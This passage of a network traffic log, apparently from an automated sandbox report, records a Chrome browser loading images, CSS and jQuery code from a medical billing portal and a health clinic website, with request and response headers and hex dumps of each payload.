2024-04-24 12:44:57 UTC	16384	IN	Data Raw: 2c 31 29 29 3b 66 6f 72 28 65 3d 30 3b 65 3c 6f 3b 65 2b 2b 29 6e 5b 65 5d 26 26 6e 5b 65 5d 2e 66 69 6e 69 73 68 26 26 6e 5b 65 5d 2e 66 69 6e 69 73 68 2e 63 61 6c 6c 28 74 68 69 73 29 3b 64 65 6c 65 74 65 20 74 2e 66 69 6e 69 73 68 7d 29 7d 7d 29 2c 53 2e 65 61 63 68 28 5b 22 74 6f 67 67 6c 65 22 2c 22 73 68 6f 77 22 2c 22 68 69 64 65 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 72 29 7b 76 61 72 20 69 3d 53 2e 66 6e 5b 72 5d 3b 53 2e 66 6e 5b 72 5d 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 7c 7c 22 62 6f 6f 6c 65 61 6e 22 3d 3d 74 79 70 65 6f 66 20 65 3f 69 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 3a 74 68 69 73 2e 61 6e 69 6d 61 74 65 28 73 74 28 72 2c 21 30 29 2c 65 2c 74 2c 6e Data Ascii: ,1));for(e=0;e<o;e++)n[e]&&n[e].finish&&n[e].finish.call(this);delete t.finish})}}),S.each(["toggle","show","hide"],function(e,r){var i=S.fn[r];S.fn[r]=function(e,t,n){return null==e\|\|"boolean"==typeof e?i.apply(this,arguments):this.animate(st(r,!0),e,t,n
2024-04-24 12:44:57 UTC	9000	IN	Data Raw: 63 74 28 65 29 26 26 65 29 29 7d 7d 29 2c 53 2e 61 6a 61 78 50 72 65 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 66 6f 72 28 74 20 69 6e 20 65 2e 68 65 61 64 65 72 73 29 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 3d 3d 3d 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 26 26 28 65 2e 63 6f 6e 74 65 6e 74 54 79 70 65 3d 65 2e 68 65 61 64 65 72 73 5b 74 5d 7c 7c 22 22 29 7d 29 2c 53 2e 5f 65 76 61 6c 55 72 6c 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 72 65 74 75 72 6e 20 53 2e 61 6a 61 78 28 7b 75 72 6c 3a 65 2c 74 79 70 65 3a 22 47 45 54 22 2c 64 61 74 61 54 79 70 65 3a 22 73 63 72 69 70 74 22 2c 63 61 63 68 65 3a 21 30 2c 61 73 79 6e 63 3a 21 31 2c 67 6c 6f 62 61 6c 3a 21 31 2c 63 6f 6e 76 65 72 74 65 72 73 3a 7b 22 74 Data Ascii: ct(e)&&e))}}),S.ajaxPrefilter(function(e){var t;for(t in e.headers)"content-type"===t.toLowerCase()&&(e.contentType=e.headers[t]\|\|"")}),S._evalUrl=function(e,t,n){return S.ajax({url:e,type:"GET",dataType:"script",cache:!0,async:!1,global:!1,converters:{"t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
166	192.168.2.4	49990	20.121.85.116	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:56 UTC	865	OUT	GET /HealowPay/jsp/js/assets/img/paybill-widget-bg.png HTTP/1.1 Host: www.healowpay.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.healowpay.com/HealowPay/jsp/js/assets/css/healow-practice-pay-widget.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
2024-04-24 12:44:57 UTC	1386	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:44:57 GMT Content-Type: image/png Content-Length: 4686 Connection: close X-FRAME-OPTIONS: SAMEORIGIN X-CONTENT-TYPE-OPTIONS: NOSNIFF X-XSS-Protection: 1; mode=block Referrer-policy: strict-origin-when-cross-origin Permissions-Policy: geolocation=(), midi=(), notifications=(), push=(), microphone=(), camera=(), magnetometer=(), gyro-scope=(), speaker=(), vibrate=(), fullscreen=(), payment=() Content-Security-Policy: style-src 'self' 'unsafe-inline' https://healow.com https://fonts.googleapis.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://healow.com https://.healow.com; form-action 'self' https://.eclinicalweb.com https://.healow.com https://healow.com; frame-src 'self' 'unsafe-inline' https://.eclinicalweb.com https://.healow.com https://healow.com; img-src 'self' https://.eclinicalweb.com https://healow.com data data: https://.ecwcloud.in https://.ecwcloud.com https://.eclinicalweb.com https://.ecwlab.com; connect-src 'self'; child-src 'self'; object-src 'self'; media-src 'self'; frame-ancestors 'self' https://*.healow.com; default-src 'self'; font-src 'self' https://fonts.gstatic.com data; report-uri ../cspReport/cspViolationReport.jsp; Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes ETag: W/"4686-1655710779000" Last-Modified: Mon, 20 Jun 2022 07:39:39 GMT Server:
2024-04-24 12:44:57 UTC	4686	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 4f 00 00 02 38 08 03 00 00 00 44 3e fd 25 00 00 00 01 73 52 47 42 01 d9 c9 2c 7f 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 db 50 4c 54 45 00 00 00 4d bf e6 40 bf df 4e c4 e2 4e bc de 46 b9 e8 00 ff ff 4a bf df 49 b6 db 00 ff ff 00 00 00 47 c2 e0 40 bf df 40 bf bf 4b c3 e1 2a aa d5 4d bf d9 46 b9 dc 55 c6 e3 39 aa c6 00 00 ff 49 c2 db 49 b6 db 51 bc e4 47 b8 d5 33 99 cc 50 bf df 55 aa ff 40 bf d5 55 d5 d5 4b c3 d2 55 aa aa 00 aa aa 00 80 ff 44 bb dd 4d b3 cc 4e c8 de 33 cc cc 40 bf bf 45 ba d8 39 c6 e3 4e c4 d8 46 b9 d1 51 c9 e4 4b b4 d2 51 c5 e8 00 80 80 40 bf ff 47 c6 e3 46 c5 dc 49 c8 db 40 bf ea 4e c4 d8 4e b1 d8 47 c2 d6 55 aa d5 49 c2 e7 49 b6 b6 4d cc e6 43 bc d7 Data Ascii: PNGIHDRO8D>%sRGB,pHYsPLTEM@NNFJIG@@K*MFU9IIQG3PU@UKUDMN3@E9NFQKQ@GFI@NNGUIIMC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
167	192.168.2.4	49991	20.121.85.116	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:57 UTC	569	OUT	GET /HealowPay/jsp/js/assets/img/access-statements.png HTTP/1.1 Host: www.healowpay.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
2024-04-24 12:44:57 UTC	1386	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:44:57 GMT Content-Type: image/png Content-Length: 2251 Connection: close X-FRAME-OPTIONS: SAMEORIGIN X-CONTENT-TYPE-OPTIONS: NOSNIFF X-XSS-Protection: 1; mode=block Referrer-policy: strict-origin-when-cross-origin Permissions-Policy: geolocation=(), midi=(), notifications=(), push=(), microphone=(), camera=(), magnetometer=(), gyro-scope=(), speaker=(), vibrate=(), fullscreen=(), payment=() Content-Security-Policy: style-src 'self' 'unsafe-inline' https://healow.com https://fonts.googleapis.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://healow.com https://.healow.com; form-action 'self' https://.eclinicalweb.com https://.healow.com https://healow.com; frame-src 'self' 'unsafe-inline' https://.eclinicalweb.com https://.healow.com https://healow.com; img-src 'self' https://.eclinicalweb.com https://healow.com data data: https://.ecwcloud.in https://.ecwcloud.com https://.eclinicalweb.com https://.ecwlab.com; connect-src 'self'; child-src 'self'; object-src 'self'; media-src 'self'; frame-ancestors 'self' https://*.healow.com; default-src 'self'; font-src 'self' https://fonts.gstatic.com data; report-uri ../cspReport/cspViolationReport.jsp; Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes ETag: W/"2251-1655710779000" Last-Modified: Mon, 20 Jun 2022 07:39:39 GMT Server:
2024-04-24 12:44:57 UTC	2251	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 3c 00 00 00 3c 08 06 00 00 00 3a fc d9 72 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 08 82 49 44 41 54 68 43 e5 9b 7b 54 14 d7 19 c0 ef cc ce ec ec 63 76 17 17 79 ca cb 1a eb 89 8f 88 07 94 2a 59 04 49 62 08 42 72 72 8c 6d 43 6c da c3 c9 31 6d b5 2f 9b c4 6a d3 92 36 27 a9 a7 d6 9a 9a 16 51 34 51 02 27 c1 14 db 20 50 89 15 8a 68 a2 81 a3 26 92 12 12 83 3c e4 e1 a2 28 cb 6b 77 66 67 3a 77 4f a6 67 59 66 77 66 c7 19 d0 78 ff 5b e6 bb f7 7e bf fb dd fb dd ef 7e f7 82 80 bb ac 20 77 19 2f 98 7a 60 96 45 96 7f d0 ad 0b 63 74 98 9b 1d c5 c6 9d 1a 14 33 b0 2c eb c0 9d d7 2e 77 bb 9a 37 24 53 6a 1a 61 ca 80 d3 eb da 43 f4 00 27 11 0c 18 02 01 b1 28 e3 76 69 88 e1 71 7a 70 f4 54 ea bc 11 80 20 8c Data Ascii: PNGIHDR<<:rsBIT\|dIDAThC{Tcvy*YIbBrrmCl1m/j6'Q4Q' Ph&<(kwfg:wOgYfwfx[~~ w/z`Ect3,.w7$SjaC'(viqzpT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
168	192.168.2.4	49992	20.121.85.116	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:57 UTC	566	OUT	GET /HealowPay/jsp/js/assets/img/pay-your-bills.png HTTP/1.1 Host: www.healowpay.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
2024-04-24 12:44:57 UTC	1386	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:44:57 GMT Content-Type: image/png Content-Length: 2577 Connection: close X-FRAME-OPTIONS: SAMEORIGIN X-CONTENT-TYPE-OPTIONS: NOSNIFF X-XSS-Protection: 1; mode=block Referrer-policy: strict-origin-when-cross-origin Permissions-Policy: geolocation=(), midi=(), notifications=(), push=(), microphone=(), camera=(), magnetometer=(), gyro-scope=(), speaker=(), vibrate=(), fullscreen=(), payment=() Content-Security-Policy: style-src 'self' 'unsafe-inline' https://healow.com https://fonts.googleapis.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://healow.com https://.healow.com; form-action 'self' https://.eclinicalweb.com https://.healow.com https://healow.com; frame-src 'self' 'unsafe-inline' https://.eclinicalweb.com https://.healow.com https://healow.com; img-src 'self' https://.eclinicalweb.com https://healow.com data data: https://.ecwcloud.in https://.ecwcloud.com https://.eclinicalweb.com https://.ecwlab.com; connect-src 'self'; child-src 'self'; object-src 'self'; media-src 'self'; frame-ancestors 'self' https://*.healow.com; default-src 'self'; font-src 'self' https://fonts.gstatic.com data; report-uri ../cspReport/cspViolationReport.jsp; Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes ETag: W/"2577-1655710779000" Last-Modified: Mon, 20 Jun 2022 07:39:39 GMT Server:
2024-04-24 12:44:57 UTC	2577	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 3c 00 00 00 3c 08 06 00 00 00 3a fc d9 72 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 09 c8 49 44 41 54 68 43 ed 9a 7d 54 13 57 16 c0 df 64 26 09 89 90 80 a0 a0 82 d6 56 ea 6a d5 e2 51 fc 96 42 c1 0f 40 eb 71 8f 45 8b da ba ab 1e ad b5 ac 56 ad e8 41 6b 5d 8f e0 5a 5d 6b b5 6a d5 75 15 b1 2a 76 3f 5a 11 f9 32 28 88 60 b1 e2 47 77 55 aa 20 e1 b3 80 a0 40 92 61 66 32 3b 2f db a1 21 4e 32 93 49 82 9e 63 e7 1c f8 23 ef bd fb ee ef dd fb ee bb ef ce 20 e0 05 7b 10 57 f1 8e 28 a6 a5 de 8d 37 65 a8 da 1f 35 1a 75 18 dd 82 63 88 42 8d 4a 28 1c 85 73 22 80 20 11 cc 0b af 6d d6 e1 d7 a6 f7 d6 b9 4a 0f 4b b9 4e 03 0e d5 94 b9 a1 94 b4 1b 2a 45 94 88 d4 28 47 29 44 22 14 02 07 14 49 91 8a 9f 73 c3 7a Data Ascii: PNGIHDR<<:rsBIT\|dIDAThC}TWd&VjQB@qEVAk]Z]kjuv?Z2(`GwU @af2;/!N2Ic# {W(7e5ucBJ(s" mJKNE(G)D"Isz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
169	192.168.2.4	49993	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:57 UTC	767	OUT	GET /wp-content/themes/vpchc/dist/acf_block_column_content.css?ver=230904-91936 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
2024-04-24 12:44:57 UTC	413	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:57 GMT Content-Type: text/css Content-Length: 290 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Mon, 04 Sep 2023 09:19:36 GMT Vary: Accept-Encoding ETag: "64f5a128-122" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:57 UTC	290	IN	Data Raw: 2e 61 63 66 2d 62 6c 6f 63 6b 2d 63 6f 6c 75 6d 6e 2d 63 6f 6e 74 65 6e 74 20 2e 63 6f 6e 74 65 6e 74 5f 5f 69 63 6f 6e 7b 77 69 64 74 68 3a 34 2e 33 37 35 72 65 6d 3b 68 65 69 67 68 74 3a 34 2e 33 37 35 72 65 6d 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 37 36 38 70 78 29 7b 2e 61 63 66 2d 62 6c 6f 63 6b 2d 63 6f 6c 75 6d 6e 2d 63 6f 6e 74 65 6e 74 20 2e 63 2d 63 6f 6c 2d 31 2d 35 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 66 6c 65 78 3a 30 3b 66 6c 65 78 3a 30 20 30 20 35 30 25 3b 6d 61 78 2d 77 69 64 74 68 3a 35 30 25 7d 7d 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 39 39 32 70 78 29 7b 2e 61 63 66 2d 62 6c 6f 63 6b 2d 63 6f 6c 75 6d 6e 2d 63 6f 6e 74 65 6e 74 20 2e 63 2d 63 6f 6c 2d 31 2d 35 7b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d Data Ascii: .acf-block-column-content .content__icon{width:4.375rem;height:4.375rem}@media (min-width:768px){.acf-block-column-content .c-col-1-5{-webkit-box-flex:0;flex:0 0 50%;max-width:50%}}@media (min-width:992px){.acf-block-column-content .c-col-1-5{-webkit-box-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
170	192.168.2.4	49994	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:57 UTC	784	OUT	GET /wp-content/themes/vpchc/images/img__empty.png HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga=GA1.2.446872372.1713962665; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962689.0.0.0
2024-04-24 12:44:57 UTC	320	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:57 GMT Content-Type: image/png Content-Length: 82 Connection: close Last-Modified: Mon, 04 Sep 2023 09:19:36 GMT ETag: "64f5a128-52" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-04-24 12:44:57 UTC	82	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 ff ff ff a7 c4 1b c8 00 00 00 0a 49 44 41 54 08 1d 63 60 00 00 00 02 00 01 cf c8 35 e5 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR%VPLTEIDATc`5IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
171	192.168.2.4	49996	20.121.85.116	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:57 UTC	824	OUT	GET /HealowPay/jsp/img/payhealow-logo.png HTTP/1.1 Host: www.healowpay.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.healowpay.com/HealowPay/jsp/healow/login.jsp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
2024-04-24 12:44:57 UTC	1386	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:44:57 GMT Content-Type: image/png Content-Length: 3201 Connection: close X-FRAME-OPTIONS: SAMEORIGIN X-CONTENT-TYPE-OPTIONS: NOSNIFF X-XSS-Protection: 1; mode=block Referrer-policy: strict-origin-when-cross-origin Permissions-Policy: geolocation=(), midi=(), notifications=(), push=(), microphone=(), camera=(), magnetometer=(), gyro-scope=(), speaker=(), vibrate=(), fullscreen=(), payment=() Content-Security-Policy: style-src 'self' 'unsafe-inline' https://healow.com https://fonts.googleapis.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://healow.com https://.healow.com; form-action 'self' https://.eclinicalweb.com https://.healow.com https://healow.com; frame-src 'self' 'unsafe-inline' https://.eclinicalweb.com https://.healow.com https://healow.com; img-src 'self' https://.eclinicalweb.com https://healow.com data data: https://.ecwcloud.in https://.ecwcloud.com https://.eclinicalweb.com https://.ecwlab.com; connect-src 'self'; child-src 'self'; object-src 'self'; media-src 'self'; frame-ancestors 'self' https://*.healow.com; default-src 'self'; font-src 'self' https://fonts.gstatic.com data; report-uri ../cspReport/cspViolationReport.jsp; Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes ETag: W/"3201-1646033381000" Last-Modified: Mon, 28 Feb 2022 07:29:41 GMT Server:
2024-04-24 12:44:57 UTC	3201	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 7b 00 00 00 1a 08 06 00 00 00 97 6f 23 80 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 0c 16 49 44 41 54 68 43 ed 5a 09 74 54 d5 19 fe b2 4d 36 42 08 d9 08 4b 48 c8 42 04 72 50 c8 a2 d1 14 51 8c d5 5a b5 6a e5 a0 47 a5 c7 42 5a 0e 05 81 40 95 a3 47 11 04 8e 52 10 4b 71 41 38 5a 31 a5 d0 80 55 03 6a 03 21 44 12 c8 02 c1 80 c1 98 dd ec fb 32 99 c9 64 26 99 fe ff 7d 77 26 93 3d 82 4b 54 be 73 26 f7 be bb bc 77 df bf ff ff 8b 55 46 bd c6 f8 d4 17 b5 e8 ec ea 46 e6 02 7f 8c 46 74 77 1b 11 99 5c 0a 95 15 b0 63 b6 37 22 dc 1d e5 cc 35 7c 1b 58 1b e9 4f b7 d1 88 2e ee 8c 52 58 9e 71 14 1f 73 d4 c3 Data Ascii: PNGIHDR{o#sRGBgAMAapHYs+IDAThCZtTM6BKHBrPQZjGBZ@GRKqA8Z1Uj!D2d&}w&=KTs&wUFFFtw\c7"5\|XO.RXqs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
172	192.168.2.4	49995	20.121.85.116	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:57 UTC	840	OUT	GET /HealowPay/jsp/js/assets/img/view-billing-details.png HTTP/1.1 Host: www.healowpay.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.healowpay.com/HealowPay/jsp/healow/login.jsp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
2024-04-24 12:44:57 UTC	1386	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:44:57 GMT Content-Type: image/png Content-Length: 2251 Connection: close X-FRAME-OPTIONS: SAMEORIGIN X-CONTENT-TYPE-OPTIONS: NOSNIFF X-XSS-Protection: 1; mode=block Referrer-policy: strict-origin-when-cross-origin Permissions-Policy: geolocation=(), midi=(), notifications=(), push=(), microphone=(), camera=(), magnetometer=(), gyro-scope=(), speaker=(), vibrate=(), fullscreen=(), payment=() Content-Security-Policy: style-src 'self' 'unsafe-inline' https://healow.com https://fonts.googleapis.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://healow.com https://.healow.com; form-action 'self' https://.eclinicalweb.com https://.healow.com https://healow.com; frame-src 'self' 'unsafe-inline' https://.eclinicalweb.com https://.healow.com https://healow.com; img-src 'self' https://.eclinicalweb.com https://healow.com data data: https://.ecwcloud.in https://.ecwcloud.com https://.eclinicalweb.com https://.ecwlab.com; connect-src 'self'; child-src 'self'; object-src 'self'; media-src 'self'; frame-ancestors 'self' https://*.healow.com; default-src 'self'; font-src 'self' https://fonts.gstatic.com data; report-uri ../cspReport/cspViolationReport.jsp; Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes ETag: W/"2251-1655710779000" Last-Modified: Mon, 20 Jun 2022 07:39:39 GMT Server:
2024-04-24 12:44:57 UTC	2251	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 3c 00 00 00 3c 08 06 00 00 00 3a fc d9 72 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 08 82 49 44 41 54 68 43 e5 9b 7b 70 54 f5 15 c7 cf 7d ed 2b 9b 64 f3 62 93 6c 9e 30 d1 b6 54 ba 4c 82 12 03 24 91 97 11 a9 68 85 8c b5 22 c5 47 95 a9 08 49 3b 4a 07 ad 2d 58 75 3a 2a 16 46 54 d4 d1 d1 4a 0b 4c a7 96 92 d4 34 99 a5 81 38 30 46 19 41 60 00 81 0d 79 6c 96 80 c9 b2 c9 6e 76 f7 de bd fd fd e2 6c ba 59 f6 f1 fb dd dd 04 53 ee bf 7b ce b9 e7 73 bf e7 f7 fe 2d 03 d7 d9 c3 5c 67 bc 70 4d 80 ab 2c e7 35 6a 35 af 13 5d 3e 81 d5 f0 1c ef 63 59 37 b0 c3 00 fd c3 17 fb c0 7b 62 c5 74 ef 78 09 31 61 c0 a5 6f b6 0b 86 69 e9 e9 2a 6d 92 9e f1 fb b8 68 40 92 28 fb fd 82 ec 92 dd be a1 b4 fe a9 83 bb 57 30 Data Ascii: PNGIHDR<<:rsBIT\|dIDAThC{pT}+dbl0TL$h"GI;J-Xu:FTJL480FA`ylnvlYS{s-\gpM,5j5]>cY7{btx1aoimh@(W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
173	192.168.2.4	49997	20.121.85.116	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:57 UTC	846	OUT	GET /HealowPay/jsp/js/assets/img/track-your-payment-history.png HTTP/1.1 Host: www.healowpay.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.healowpay.com/HealowPay/jsp/healow/login.jsp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=8CE94DA95A067ED22B02F72C64DE30D7; ApplicationGatewayAffinityCORS=7c01dadb4c197224376f894aa3ea99d4; ApplicationGatewayAffinity=7c01dadb4c197224376f894aa3ea99d4
2024-04-24 12:44:57 UTC	1386	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:44:57 GMT Content-Type: image/png Content-Length: 2624 Connection: close X-FRAME-OPTIONS: SAMEORIGIN X-CONTENT-TYPE-OPTIONS: NOSNIFF X-XSS-Protection: 1; mode=block Referrer-policy: strict-origin-when-cross-origin Permissions-Policy: geolocation=(), midi=(), notifications=(), push=(), microphone=(), camera=(), magnetometer=(), gyro-scope=(), speaker=(), vibrate=(), fullscreen=(), payment=() Content-Security-Policy: style-src 'self' 'unsafe-inline' https://healow.com https://fonts.googleapis.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://healow.com https://.healow.com; form-action 'self' https://.eclinicalweb.com https://.healow.com https://healow.com; frame-src 'self' 'unsafe-inline' https://.eclinicalweb.com https://.healow.com https://healow.com; img-src 'self' 